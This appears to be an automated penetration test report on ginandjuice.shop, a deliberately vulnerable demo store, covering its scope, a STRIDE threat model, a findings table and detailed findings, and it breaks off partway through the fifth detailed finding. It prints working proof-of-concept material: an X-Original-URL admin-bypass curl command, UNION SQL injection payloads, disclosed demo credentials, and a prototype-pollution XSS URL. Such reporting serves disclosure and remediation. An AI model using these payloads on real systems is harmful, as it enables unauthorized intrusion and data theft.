

TURBOPENTEST

by IntegSec

Penetration Test Report

Target: <https://ginandjuice.shop>

Date: 2026-08-12

Report ID: TP-00000000

OVERALL RISK **CRITICAL RISK**

Prepared for: Example Corp

Attention: Jane Chen

CONFIDENTIAL - This document contains sensitive security information. Distribution should be limited to authorized personnel only.

Report Contents

01	Disclaimer & Scope
02	Methodology & Testing Team
03	Risk Rating Methodology & Compliance Coverage
04	Executive Summary
05	Attack Surface Map
06	Threat Model (STRIDE)
07	Findings Summary
08	Detailed Findings
09	Remediation & Retest Plan
10	Tool Appendix

Report ID: TP-00000000 · Target: <https://ginandjuice.shop>

Disclaimer

This penetration test was performed by TurboPentest, an automated security assessment platform operated by IntegSec. The assessment was conducted within the scope defined below, using industry-standard tools and AI-powered analysis. Findings represent the security posture at the time of testing and may not reflect changes made after the assessment date.

This report is provided for informational purposes and should be used to guide remediation efforts. IntegSec does not guarantee the absence of vulnerabilities beyond those identified in this assessment. For comprehensive coverage of business logic flaws, chained exploits, and advanced attack paths, manual penetration testing (PTaaS) is recommended.

Scope

Target Application

<https://ginandjuice.shop>

Testing Type

Black-box assessment (external application testing without source code access)

Testing Window

Start: Wed, 12 Aug 2026 20:27:09 GMT

Completed: Wed, 12 Aug 2026 23:31:40 GMT

Limitations

- Testing was limited to the target URL and any directly linked resources
- Denial-of-service testing was not performed
- Social engineering and physical security were out of scope
- Findings reflect the security posture at the time of assessment only

Methodology

This pentest follows industry-standard testing methodology: PTES (Penetration Testing Execution Standard) for overall workflow, **NIST SP 800-115** for the four-phase pentest workflow alignment (Planning / Discovery / Attack / Reporting), OWASP Testing Guides (WSTG / API Security Top 10 / LLM Top 10 / MASTG depending on target type) for category coverage, and MITRE ATT&CK for adversary technique mapping. For AI/LLM targets, **MITRE ATLAS** technique IDs (AML.T####) replace or augment ATT&CK, and the **OWASP AI Testing Guide** (v1.0, November 2025; AITG-APP / AITG-MOD / AITG-INF / AITG-DAT procedures) plus the OWASP Generative AI Red Teaming Guide inform AI testing methodology. When source code is provided, findings are also classified against **OWASP ASVS** verification levels (L1/L2/L3), **OWASP MASVS** for mobile targets (L1/L2/R), and **OWASP Code Review Guide** methodology. **PCI DSS Penetration Testing Guidance** (PCI SSC Information Supplement) alignment when the engagement scope includes PCI cardholder data environments. Findings are also classified to OWASP Top 10 2025 for compliance reporting. Each finding in this report carries an explicit PTES phase, an OWASP Testing Guide category code, and one or more MITRE ATT&CK (or ATLAS) technique IDs alongside its CVSS, CWE, and OWASP Top 10 mappings.

Standards Coverage

PTES Execution standard	NIST SP 800-115 4-phase workflow	OWASP WSTG Web test categories
OWASP API Top 10 API testing	OWASP Top 10 2025 Risk classification	MITRE ATT&CK Adversary techniques
MITRE ATLAS AI/LLM techniques	OWASP LLM Top 10 AI/LLM targets	OWASP ASVS L1/L2/L3 (white-box)
OWASP MASVS Mobile targets	CVSS v3.1 Severity scoring	CWE Weakness taxonomy

The assessment is also aligned with NIST SP 800-115 and consisted of two phases:

Phase 1: Automated Tool Scanning

A suite of industry-standard security tools was executed in parallel against the target application, orchestrated by Paladin AI, with each tool covering a complementary aspect of the attack surface:

- **Reconnaissance** - Network port scanning, service enumeration, subdomain discovery, technology fingerprinting (Port Scanner, Sub Hunter, Web Probe)
- **Web Server Analysis** - Server misconfigurations, default files, WAF detection (Server Audit, WAF Detect)
- **Application Scanning** - Active/passive scanning for OWASP Top 10, directory brute-forcing (Web Scanner, Enumerator)
- **CVE Detection** - Template-based vulnerability matching and full vulnerability assessment (Vuln Scanner, Net Scanner)
- **TLS/SSL Analysis** - Cipher suites, certificate chains, protocol vulnerabilities (TLS Analyzer)
- **Custom Checks** - SSL/TLS, security header, DNS, session, and network security checks (Security Checks)

Phase 2: AI-Powered Analysis (Paladin)

Paladin, an autonomous AI penetration testing agent, analyzed Phase 1 results and performed deeper investigation:

- Correlated and deduplicated findings across all scanning tools
- Validated potential vulnerabilities to eliminate false positives
- Performed deep analysis for logic flaws, chained exploits, and authentication bypasses
- Generated proof-of-concept exploits with reproducible steps

Testing Team

This assessment was conducted by TurboPentest, a fully automated penetration testing platform developed and operated by IntegSec, a professional cybersecurity firm specializing in penetration testing, red teaming, and vulnerability assessments.

- **Platform:** TurboPentest by IntegSec (turbopentest.com)
- **AI Agent:** Paladin (autonomous penetration testing agent)
- **Oversight:** IntegSec security team (integsec.com)

Data Handling

All scanning tools and AI analysis run exclusively in United States data centers (Microsoft Azure, AWS, Google Cloud). No human has access to your source code at any point during the assessment. Source code repositories are accessed only by automated tools (Secret Scanner, Code Scanner, Dep Scanner), processed in ephemeral containers, and deleted immediately after analysis. Only the resulting findings are retained.

Risk Rating Methodology

Findings are classified using a five-tier severity scale aligned with the Common Vulnerability Scoring System (CVSS v3.1). Each finding is assigned a severity based on exploitability, impact, and the context of the target application.

Severity	CVSS	Description
CRITICAL	9.0 - 10.0	Immediate risk of full system compromise. Remote code execution, authentication bypass, mass data exfiltration. Requires immediate remediation.
HIGH	7.0 - 8.9	Significant security impact. Stored XSS, IDOR with sensitive data, privilege escalation, significant data exposure. Should be remediated within 7 days.
MEDIUM	4.0 - 6.9	Moderate security impact. Reflected XSS, CSRF on state-changing actions, information disclosure. Should be remediated within 30 days.
LOW	0.1 - 3.9	Minor security impact. Missing headers, verbose errors, minor information leaks. Should be remediated within 90 days.
INFO	0.0	Informational observations and best practice recommendations. No direct security impact.

Compliance Coverage

This penetration test report is structured to meet the documentation requirements of the following regulatory and compliance frameworks:

PCI DSS v4.0.1	Req. 11.4 (June 2024 errata) - External penetration testing with methodology, scope, findings, and remediation
SOC 2 (TSC 2017 w/ 2022 PoF)	CC6.1 + CC6.6 (logical/network access boundaries), CC7.1 (vulnerability detection); supports CC4.1 (Monitoring activities) when the testing cadence is documented separately by the customer
ISO 27001:2022	A.8.8 (Management of technical vulnerabilities), A.8.29 (Security testing in development and acceptance)
HIPAA	164.308(a)(8) - Technical evaluation of security controls protecting ePHI
NIST SP 800-115	Methodology, scope, findings, risk ratings, and remediation plan structure
OWASP WSTG	Web Security Testing Guide coverage across all major test categories
PTES	Penetration Testing Execution Standard reporting requirements

Executive Summary

Critical Risk

OVERALL RISK

3 critical findings and 6 high-severity findings are directly exploitable and need action now.

6 of 19 findings independently verified by Paladin — re-tested and confirmed exploitable, not just tool-reported.

This penetration test of <https://ginandjuice.shop> identified 4 critical and 5 high severity vulnerabilities that expose the application to full compromise. The most severe issues include unauthenticated access to a /vulnerabilities endpoint disclosing plaintext credentials and the internal vulnerability roadmap, an administrative access-control bypass via the X-Original-URL header granting unauthenticated attackers access to the /admin panel, a UNION-based SQL injection in the /catalog category parameter enabling database extraction, and XXE injection in the stock-check endpoint with SSRF potential. Additional high-severity risks span three distinct XSS vectors (DOM-based via prototype pollution, reflected via JavaScript string injection, and AngularJS client-side template injection) and plaintext credential disclosure in the two-stage login flow. Immediate remediation is required for all critical and high findings to prevent active exploitation.

Findings by Severity



Total findings: 19. Assessment completed on 2026-08-12 using 12 security tools.

Recommended Priority Actions

- 3 Critical finding(s) require immediate remediation (within 24 hours)
- 6 High finding(s) should be remediated within 7 days

Attack Surface Map

The following attack surface was discovered during the assessment. This map provides a comprehensive view of your external exposure for prioritizing remediation.

Most Interesting Endpoints

Method	Path	Description	Auth
GET	/admin	Admin panel; edge-blocked (403) but bypassable via X-Original-URLYes header	
POST	/catalog/cart	Add-to-cart endpoint (no CSRF token)	No
GET/POST	/login	Two-stage login flow disclosing credentials	No
GET	/my-account	User account page (login required)	Yes
GET	/catalog	Product catalog listing	No
GET	/catalog/product	Individual product detail page	No
POST	/catalog/product/stock	Stock check accepting XML body	No
GET	/blog	Blog index; loads deparam.js and searchLogger.js	No
GET	/blog/	Blog search with document.write tracker	No
GET	/blog/post	Blog post page with DOM open redirect	No
POST	/subscribe	Subscription endpoint	No
GET	/	Home page	No
GET	/vulnerabilities	Publicly accessible page disclosing credentials and vulnerability roadmap	No
GET	/logout	Logout endpoint	No
GET	/about	About page	No
GET	/resources/js/searchLogger.js	Vulnerable JS with prototype-pollution sink	No
GET	/resources/js/angular_1-7-7.js	AngularJS 1.7.7 (EOL) library	No

Open Ports

Port	Service	Version
80	HTTP	awselb/2.0
443	HTTPS	awselb/2.0 (TLS 1.2 only)

Technologies

Technology	Category	Version
AWS Application Load Balancer	Load Balancer	awselb/2.0
AWS EC2	Cloud Compute	eu-west-1
AngularJS	Frontend Framework	1.7.7 (EOL)

deparam.js	JavaScript Library	unknown
Amazon RSA 2048 M04	TLS Certificate Authority	-

Authentication

Form-based session cookie

- Two-stage username/password form
- CSRF token per session
- Session cookie (Secure, HttpOnly, SameSite=None)

Login flow discloses credentials in the second-stage response. No rate limiting or account lockout observed. Session cookie's SameSite=None enables CSRF attacks.

Input Vectors

Location	Type	Description
/catalog?category=	Query parameter	SQL injection, HTTP response header injection (CRLF), and AngularJS CSTI sink
/catalog?searchTerm=	Query parameter	Reflected XSS via JavaScript string context (\ not escaped)
/blog?__proto__[key]=	Query parameter	Prototype pollution feeding DOM XSS via searchLogger.js
/blog/?search=	Query parameter	DOM-based XSS via document.write sink; server filter bypassed with URL encoding
/blog/post?back=	Query parameter	DOM-based open redirect
/catalog/product/stock POST body	XML request body	XXE injection with SYSTEM entity resolution
/login POST body	Form parameter	No rate limiting; credentials disclosed in response
X-Original-URL header	HTTP header	Admin access control bypass

External Dependencies

Service	Type	URL
Amazon Web Services (EC2, ALB, Route 53)	Cloud Infrastructure	-
Amazon Trust Services	Certificate Authority	http://ocsp.r2m04.amazontrust.com

Threat Model

STRIDE-based threat analysis with prioritized recommendations for further security testing.

STRIDE Threat Analysis

Spoofing

Threats

- Missing SPF/DKIM/DMARC allows email spoofing as @ginandjuice.shop
- Session fixation possible via CRLF injection in /catalog category parameter
- Plaintext credentials disclosed at /vulnerabilities and /login enable trivial account takeover

Mitigations

- Publish SPF -all, DMARC p=reject, DKIM keys
- Strip CR/LF from all header reflections
- Remove all credential hints from HTML; enforce authenticated /vulnerabilities

Tampering

Threats

- UNION-based SQL injection in /catalog can modify data if DB user has write privileges
- CSRF on /catalog/cart allows unauthorized state changes
- Admin panel bypass allows deletion of user accounts

Mitigations

- Parameterised queries and least-privilege DB user
- CSRF token + SameSite=Lax session cookie
- Strip X-Original-URL header at ALB; enforce authorization on final resolved path

Repudiation

Threats

- No rate limiting on /login means brute force attempts leave no traceable pattern
- Missing security headers reduce audit-log correlation capabilities

Mitigations

- Log all authentication attempts with source IP and outcome
- Emit standard security headers to enable correlation

Information Disclosure

Threats

- /vulnerabilities exposes credentials and the vulnerability roadmap
- Login flow exposes username and password

- XXE enables file read (potentially /etc/passwd, AWS credentials)
- Reflected/DOM XSS enables session token theft
- Server headers leak AWS ALB and EC2 infrastructure

Mitigations

- Remove /vulnerabilities; sanitise login templates
- Disable external entity processing in XML parser
- Deploy CSP + emit HttpOnly session cookies
- Suppress Server header and rename ALB stickiness cookies

Denial of Service

Threats

- No rate limiting on /login enables resource exhaustion
- XXE can reference expanding entities or slow file reads to tie up parser threads

Mitigations

- Add rate limiting and account logout
- Disable DOCTYPE processing entirely

Elevation of Privilege

Threats

- X-Original-URL bypass grants unauthenticated attackers admin access
- XXE against EC2 IMDS could yield IAM credentials
- SQL injection could escalate DB privileges depending on user context

Mitigations

- Block path-override headers at ALB
- Enforce IMDSv2 and restrict egress
- Least-privilege DB account

Business Logic Areas

Checkout and payment

HIGH

Not exercised. Common bugs include price/quantity tampering, negative quantities, coupon reuse, and race-condition-based double redemption.

Subscription/notification (/subscribe, /catalog/subscribe)

MEDIUM

Endpoints exist (returned 405 to GET) but were not exercised with POST. Could permit email flooding or subscription abuse.

Admin user-management

CRITICAL

Reachable via header-injection bypass. Delete-user flow observed. Enumeration and audit of all admin sub-actions warranted.

Improvement Recommendations

#	Recommendation	Description	Effort
1	Remove /vulnerabilities and strip credentials from /login HTML	Eliminate the unauthenticated credential disclosure paths immediately; these bypass all other authentication controls.	Low (template edit + route removal)
2	Block X-Original-URL and re-verify /admin authorization	Strip path-override headers at the ALB and enforce authorization on the final resolved path in the application.	Medium (ALB/WAF rule + application middleware)
3	Parameterize all category SQL queries and disable XML DOCTYPE	Replace string concatenation with prepared statements; disable external entity processing in the stock-check parser.	Medium (code changes + regression testing)
4	Sanitize all XSS sinks and deploy CSP	Fix the JS-string reflection escaping in /catalog?searchTerm, block __proto__ in deparam.js, replace document.write in /blog/, encode {{}} in /catalog Angular templates, and deploy a report-only CSP moving to enforced.	Medium-High (code changes across multiple files + CSP tuning)
5	Strip CR/LF from category reflections	Reject or encode CR (0x0D) and LF (0x0A) in all header-bound reflections; also allowlist known category values.	Low
6	Implement rate limiting and account lockout on /login	Add per-account and per-IP rate limiting; introduce exponential back-off and optional CAPTCHA.	Medium (WAF rule + application logic)
7	Add CSRF tokens and set SameSite=Lax on session cookies	Require anti-CSRF tokens on all state-changing POST endpoints (starting with /catalog/cart) and change session cookie SameSite attribute.	Medium
8	Publish SPF, DKIM, DMARC, and CAA DNS records	Add v=spf1 -all, v=DMARC1; p=reject, DKIM public key(s), and CAA 0 issue "amazon.com" to block spoofing and unauthorized cert issuance.	Low (DNS-only)
9	Modernize TLS and enable HSTS	Switch ALB listener to a TLS 1.3 policy; enable OCSP stapling via CloudFront; add HSTS and other security headers.	Low
10	Migrate off AngularJS 1.7.7	AngularJS is EOL with unpatched CVEs. Plan migration to Angular 15+ or React/Vue.	High

Ready to go further?

Use this attack surface map and threat model as the starting point for a deeper, expert-managed engagement. IntegSec's Managed Agentic Pentesting provides continuous, expert-managed testing that builds on this run.

integsec.com/managed-agentic-pentesting

Findings Summary

#	Severity	Title	CVSS	CWE	OWASP	Status	Source
1	CRITICAL	Unauthenticated Credential and Vulnerability Roadmap Disclosure at /vulnerabilities	9.8	CWE-200	A02:2025 - Security Misconfiguration	New	Paladin AI
2	CRITICAL	Admin Panel Access Control Bypass via X-Original-URL Header	9.8	CWE-284	A01:2025 - Broken Access Control	New	Paladin AI
3	CRITICAL	UNION-Based SQL Injection in /catalog category Parameter	9.8	CWE-89	A05:2025 - Injection	New	Paladin AI
4	HIGH	Plaintext Credentials Disclosed in Two-Stage Login HTML Response	8.2	CWE-312	A07:2025 - Identification and Authentication Failures	New	Paladin AI
5	HIGH	DOM-Based XSS via Prototype Pollution (deparam.js + searchLogger.js) on /blog	7.3	CWE-79	A05:2025 - Injection	New	Paladin AI
6	HIGH	Reflected XSS via JavaScript String Injection in searchTerm Parameter	7.3	CWE-79	A05:2025 - Injection	New	Paladin AI
7	HIGH	AngularJS Client-Side Template Injection (CSTI) via category Parameter	7.1	CWE-79	A05:2025 - Injection	New	Paladin AI
8	HIGH	HTTP Response Header Injection (CRLF) via category Parameter	7.2	CWE-113	A05:2025 - Injection	New	Paladin AI
9	HIGH	XML External Entity (XXE) Injection in /catalog/product/stock	8.6	CWE-611	A05:2025 - Injection	New	Paladin AI
10	MEDIUM	CSRF on Add-to-Cart Endpoint with SameSite=None Session Cookie	5.4	CWE-352	A01:2025 - Broken Access Control	New	Paladin AI
11	MEDIUM	Missing Rate Limiting on Authentication Endpoint	5.3	CWE-307	A07:2025 - Identification and Authentication Failures	New	Paladin AI
12	MEDIUM	Missing Email Authentication Records - No SPF, DKIM, or DMARC	6.1	CWE-183	A02:2025 - Security Misconfiguration	New	Security Checks
13	MEDIUM	DOM-Based Open Redirect via back Parameter in /blog/post	6.1	CWE-601	A01:2025 - Broken Access Control	New	Paladin AI
14	LOW	Insecure Session and Load-Balancer Cookies - Missing HttpOnly, Secure, and SameSite Attributes	3.7	CWE-1004	A02:2025 - Security Misconfiguration	Confirmed	Vuln Scanner
15	INFO	Missing HTTP Security Headers Across All Endpoints	0.0	CWE-693	A02:2025 - Security Misconfiguration	Confirmed	Security Checks
16	INFO	Web Application Firewall Detected - AWS Elastic Load Balancer	0.0	CWE-200	A02:2025 - Security Misconfiguration	Confirmed	WAF Detect
17	INFO	Attack Surface Enumeration - Endpoints, Ports, Technologies, and WAF	0.0	CWE-200	A02:2025 - Security Misconfiguration	Confirmed	Paladin AI
18	INFO	TLS/SSL Configuration Weaknesses - No TLS 1.3, CBC Ciphers (LUCKY13), RSA+SHA1, No OCSP Stapling, No CAA	0.0	CWE-326	A04:2025 - Cryptographic Failures	Confirmed	TLS Analyzer
19	INFO	Infrastructure and Proxy Disclosure via HTTP Response Headers	0.0	CWE-200	A02:2025 - Security Misconfiguration	Confirmed	Server Audit

Detailed Findings

CRITICAL

Exploitation

Unauthenticated Credential and Vulnerability Roadmap Disclosure at /vulnerabilities

Source: Paladin AI | Type: Sensitive Data Exposure | CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) | CWE-200 | A02:2025 - Security Misconfiguration

Affected URL: <https://ginandjuice.shop/vulnerabilities>

OWASP guides:

- OWASP WSTG: WSTG-CONF-05 - Enumerate Infrastructure and Application Admin Interfaces
- OWASP WSTG: WSTG-ATHN-06 - Testing for Weaker Authentication in Alternative Channel

MITRE ATT&CK: T1592, T1078, T1589

Why this severity

Critical: unauthenticated network access yields plaintext working credentials plus a full attack roadmap. Confidentiality, integrity, and availability of the target account and application are all directly impacted.

References

- <https://cwe.mitre.org/data/definitions/200.html>
- https://owasp.org/Top10/A02_2021-Security_Misconfiguration/
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/

Description

What it is: The /vulnerabilities endpoint is publicly accessible without authentication and returns HTTP 200 with plaintext account credentials embedded in the HTML body plus a complete map of every intentionally vulnerable path in the application. Why it matters: An unauthenticated attacker discovers immediately usable credentials (carlos:hunter2) and a precise attack surface roadmap eliminating all reconnaissance effort. What is at risk: All authenticated functionality for the disclosed account, plus accelerated exploitation of every other vulnerability class enumerated on the page.

Proof of Exploit

Request:

```
GET /vulnerabilities HTTP/1.1
Host: ginandjuice.shop
```

Response: HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Relevant body excerpt (zero-width U+200B chars removed for clarity):

```
<div id="vulnerabilities-login-details">
<h1>ACCOUNT LOGIN DETAILS</h1>
<table><tr><th>Username</th><td>carlos</td><th>Password</th><td>hunter2</td></tr></table>
</div>
<table>
<tr><th>Path</th><th>Vulnerabilities</th></tr>
<tr><td>/blog</td><td>Client-side prototype pollution, CSTI, DOM-based XSS, Open redirection</td></tr>
<tr><td>/catalog</td><td>Base64-encoded data, CSTI, XSS (reflected), HTTP response header injection, SQL
injection</td></tr>
</table>
```

No authentication header or cookie was sent. HTTP 200 returned with full content.

Steps to Reproduce

1. Open a browser in a private/incognito window (no prior session).
2. Navigate to: <https://ginandjuice.shop/vulnerabilities>
3. Observe: HTTP 200 response with plaintext credentials (Username: carlos, Password: hunter2) and a full table of every vulnerable endpoint.
4. Expected fixed result: endpoint returns HTTP 403/404 or requires authentication; credentials never appear in any HTTP response.

Remediation

1. Remove or password-protect the /vulnerabilities endpoint entirely; it must not be accessible in production. 2. Never embed plaintext credentials in any server-rendered HTML response. 3. Apply authentication middleware to any internal diagnostic or test-support endpoints before deployment. 4. Review all non-production helper pages and strip them from production builds via CI/CD pipeline controls.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

CRITICAL

Exploitation

Admin Panel Access Control Bypass via X-Original-URL Header

Source: Paladin AI | Type: Broken Access Control | CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) | CWE-284
| A01:2025 - Broken Access Control

Affected URL: <https://ginandjuice.shop/admin>

OWASP WSTG: WSTG-ATHZ-02 - Testing for Bypassing Authorization Schema

MITRE ATT&CK: T1190, T1078

Why this severity

Critical: unauthenticated network-exploitable admin access control bypass. Full confidentiality, integrity, and availability impact on the admin panel including destructive user-deletion capability.

References

- <https://cwe.mitre.org/data/definitions/284.html>
- https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema
- <https://portswigger.net/web-security/access-control>

Description

What it is: The application enforces /admin access control at the front-end path but trusts the X-Original-URL header for back-end routing, allowing bypass by sending the header on any allowed path. Why it matters: An unauthenticated attacker gains full access to the admin panel including user enumeration and destructive delete actions. What is at risk: All administrative functionality including user account deletion (/admin/delete?username=carlos).

Proof of Exploit

Baseline direct request is blocked:

```
GET /admin HTTP/1.1
Host: ginandjuice.shop
-> HTTP/1.1 403 Access denied
```

Bypass by injecting X-Original-URL on a public endpoint:

```
GET /catalog HTTP/1.1
Host: ginandjuice.shop
X-Original-URL: /admin
-> HTTP/1.1 200 OK
```

Response body excerpt:

```
<section>
<h1>Users</h1>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
</section>
```

Reproduced consistently across separate requests.

Steps to Reproduce

1. Send: `curl -sk -i "https://ginandjuice.shop/catalog" -H "X-Original-URL: /admin"`
2. Observe: HTTP 200 response containing an HTML page with Users heading and username list with Delete links.
3. Compare with: `curl -sk -i "https://ginandjuice.shop/admin" (should return 403).`

4. Expected fixed result: application ignores or strips X-Original-URL/X-Rewrite-URL/X-Forwarded-URL headers entirely, or validates the effective path after resolution against the same ACL rules applied at the edge.

Remediation

1. Strip or reject X-Original-URL, X-Rewrite-URL, and X-Forwarded-URL headers at the load balancer/WAF layer before they reach the application. 2. Move access-control enforcement to the application layer so it evaluates the final resolved path, not only the request URI seen by the front-end. 3. Apply deny-by-default to all /admin paths regardless of which header or URL form is used to reach them. 4. Audit any other path-override headers for similar bypass potential.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

CRITICAL

Exploitation

UNION-Based SQL Injection in /catalog category Parameter

Source: Paladin AI | Type: SQL Injection | CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) | CWE-89 | A05:2025 - Injection | SANS: CWE-89 Improper Neutralization of Special Elements used in an SQL Command

Affected URL: <https://ginandjuice.shop/catalog>

OWASP WSTG: WSTG-INPV-05 - Testing for SQL Injection

MITRE ATT&CK: T1190

Why this severity

Critical: unauthenticated, network-accessible SQL injection with confirmed UNION-based extraction primitive. No credentials or special conditions needed.

References

- <https://cwe.mitre.org/data/definitions/89.html>
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection
- https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- <https://portswigger.net/web-security/sql-injection/union-attacks>

Description

What it is: The category GET parameter on /catalog is concatenated directly into a backend SQL query without parameterization, enabling UNION-based injection with a confirmed 8-column result set. **Why it matters:** An unauthenticated attacker can extract arbitrary database content and, depending on DB user privileges, potentially achieve file read or command execution. **What is at risk:** All data readable by the application database account.

Proof of Exploit

Test 1 - Column count enumeration (8 NULLs -> HTTP 200 confirms 8-column SELECT):
GET /catalog?category=' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HTTP/1.1
Response: HTTP 200 with <section class="container-list-tiles"></section>

Test 2 - All strings -> HTTP 500 (type mismatch proves injection point):
GET /catalog?category=' UNION SELECT 'A','B','C','D','E','F','G','H'-- HTTP/1.1
Response: HTTP 500 Internal Server Error

Test 3 - String in column 2 only -> HTTP 200 (column 2 is varchar):
GET /catalog?category=' UNION SELECT NULL,'SQLI-COL2',NULL,NULL,NULL,NULL,NULL,NULL-- HTTP/1.1
Response: HTTP 200 with <section class="container-list-tiles"></section>

Baseline no-results miss returns <div class="no-results">; UNION hits return empty container-list-tiles section confirming the injected UNION rows were iterated.

Steps to Reproduce

1. Confirm 8-column UNION works:
`curl -si "https://ginandjuice.shop/catalog?category=%27%20UNION%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--" | grep -o "container-list-tiles\|no-results"`
Expected: container-list-tiles

```
2. Confirm string column 2:
curl -si "https://ginandjuice.shop/catalog?category=%27%20UNION%20SE-
LECT%20NULL%2C%27SQLITEST%27%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--" | grep -o "contain-
er-list-tiles\|no-results"
Expected: container-list-tiles
3. Confirm all-strings fails (proves injection):
curl -si "https://ginandjuice.shop/catalog?category=%27%20UNION%20SE-
LECT%20%27A%27%2C%27B%27%2C%27C%27%2C%27D%27%2C%27E%27%2C%27F%27%2C%27G%27%2C%27H%27--" | grep "HTTP/"
Expected: HTTP/1.1 500
```

Fixed application would return the same response for all three requests.

Remediation

1. Replace all dynamic SQL string concatenation with parameterised queries / prepared statements. 2. Apply a strict allowlist to the category parameter server-side. 3. Run the database connection under a least-privilege account with no DDL, file read, or administrative permissions. 4. Enable query-level WAF rules for UNION SELECT patterns as defence-in-depth.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/-00000000-0000-0000-0000-000000000000

HIGH

Exploitation

Plaintext Credentials Disclosed in Two-Stage Login HTML Response

Source: Paladin AI | Type: Sensitive Data Exposure | CVSS: 8.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N) | CWE-312 | A07:2025 - Identification and Authentication Failures

Affected URL: <https://ginandjuice.shop/login>

OWASP guides:

- OWASP WSTG: WSTG-ATHN-01 - Testing for Credentials Transported over an Encrypted Channel
- OWASP WSTG: WSTG-IDNT-04 - Testing for Account Enumeration and Guessable User Account

MITRE ATT&CK: T1078, T1552.001

Why this severity

High: unauthenticated disclosure of plaintext credentials directly in the authentication flow. Slightly less impact than the /vulnerabilities disclosure because it does not additionally expose the vulnerability roadmap.

References

- <https://cwe.mitre.org/data/definitions/312.html>
- https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/

Description

What it is: The two-stage login flow embeds a username hint on GET /login and a plaintext password hint on POST /login for any submitted username (valid or invalid). Why it matters: An unauthenticated attacker can retrieve both the username (carlos) and password (hunter2) from HTTP responses without any authentication or brute force. What is at risk: The disclosed account credentials and any authenticated functionality reachable with them.

Proof of Exploit

Stage 1 - GET /login returns username in HTML:
Username carlos

Stage 2 - POST valid username returns password:
Request: POST /login Cookie: session=...
Body: csrf=...&username=carlos
Response HTTP 200 body excerpt:
<script>var username = 'carlos'; document.getElementById('usernameInput').value = username;</script>
Password hunter2

Stage 2 - POST INVALID username returns SAME password:
Body: csrf=...&username=definitelynotarealuser99999
Response HTTP 200 body excerpt:

```
<script>var username = 'definitelynotarealuser99999'; ...</script>
<span><b>Password</b> hunter2</span>
```

Steps to Reproduce

1. `curl -sk https://ginandjuice.shop/login | grep -i "Username"`
Expected: sees "Username carlos" text.
2. Note the csrf value and session cookie from step 1.
3. `curl -sk -X POST https://ginandjuice.shop/login -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: session=SESSION_FROM_STEP1" -d "csrf=CSRF_FROM_STEP1&username=anyusernamehere" | grep -i "Password"`
Expected: sees "Password hunter2" text.
4. Expected fixed result: No credential hints in any server-rendered HTML.

Remediation

1. Remove all credential hints from login page HTML templates. 2. Remove inline JavaScript that echoes the submitted username back into the page. 3. Ensure the second-stage form is only served after server-side validation of the first-stage submission; never show a password prompt for non-existent accounts. 4. Treat any server-rendered HTML that reaches an unauthenticated client as public - never embed credentials or hints.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

HIGH

Exploitation

DOM-Based XSS via Prototype Pollution (deparam.js + searchLogger.js) on /blog

Source: Paladin AI | Type: DOM-Based Cross-Site Scripting | CVSS: 7.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N) | CWE-79 | A05:2025 - Injection | SANS: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected URL: <https://ginandjuice.shop/blog>

OWASP WSTG: WSTG-CLNT-01 - Testing for DOM-based Cross Site Scripting

MITRE ATT&CK: T1059.007, T1539

Why this severity

High: unauthenticated one-click DOM XSS yielding full script execution. No CSP mitigates. UI:R because a victim must visit a crafted link.

References

- <https://cwe.mitre.org/data/definitions/79.html>
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting
- <https://portswigger.net/research/widespread-mutation-xss-using-client-side-template-injection>

Description

What it is: deparam.js parses URL query parameters into an object without blocking `__proto__` keys, and searchLogger.js reads `config.transport_url` from the polluted prototype and appends it as `script.src`. Why it matters: A crafted link executes arbitrary JavaScript in the victim browser under ginandjuice.shop origin. What is at risk: Session hijacking, credential theft, keylogging, defacement, CSRF bypass for any authenticated victim.

Proof of Exploit

1. Browser navigated to:
`https://ginandjuice.shop/blog?__proto__[transport_url]=data:,document.body.innerHTML%3D'%3C%3Ch1%20id%3D%22XSS-PROVEN-TURBOPENTEST%22%3EXSS-PROVEN-TURBOPENTEST%3C%2Fh1%3E'`
2. JavaScript evaluation immediately after load:
`document.getElementById('XSS-PROVEN-TURBOPENTEST') ? 'MARKER_FOUND:' + document.getElementById('XSS-PROVEN-TURBOPENTEST').textContent : 'NOT_FOUND'`
Result: "MARKER_FOUND:XSS-PROVEN-TURBOPENTEST"
3. searchLogger.js sink (GET /resources/js/searchLogger.js):

```
async function searchLogger() {
  let config = {params: deparam(new URL(location).searchParams.toString())};
  if(config.transport_url) {
```

```
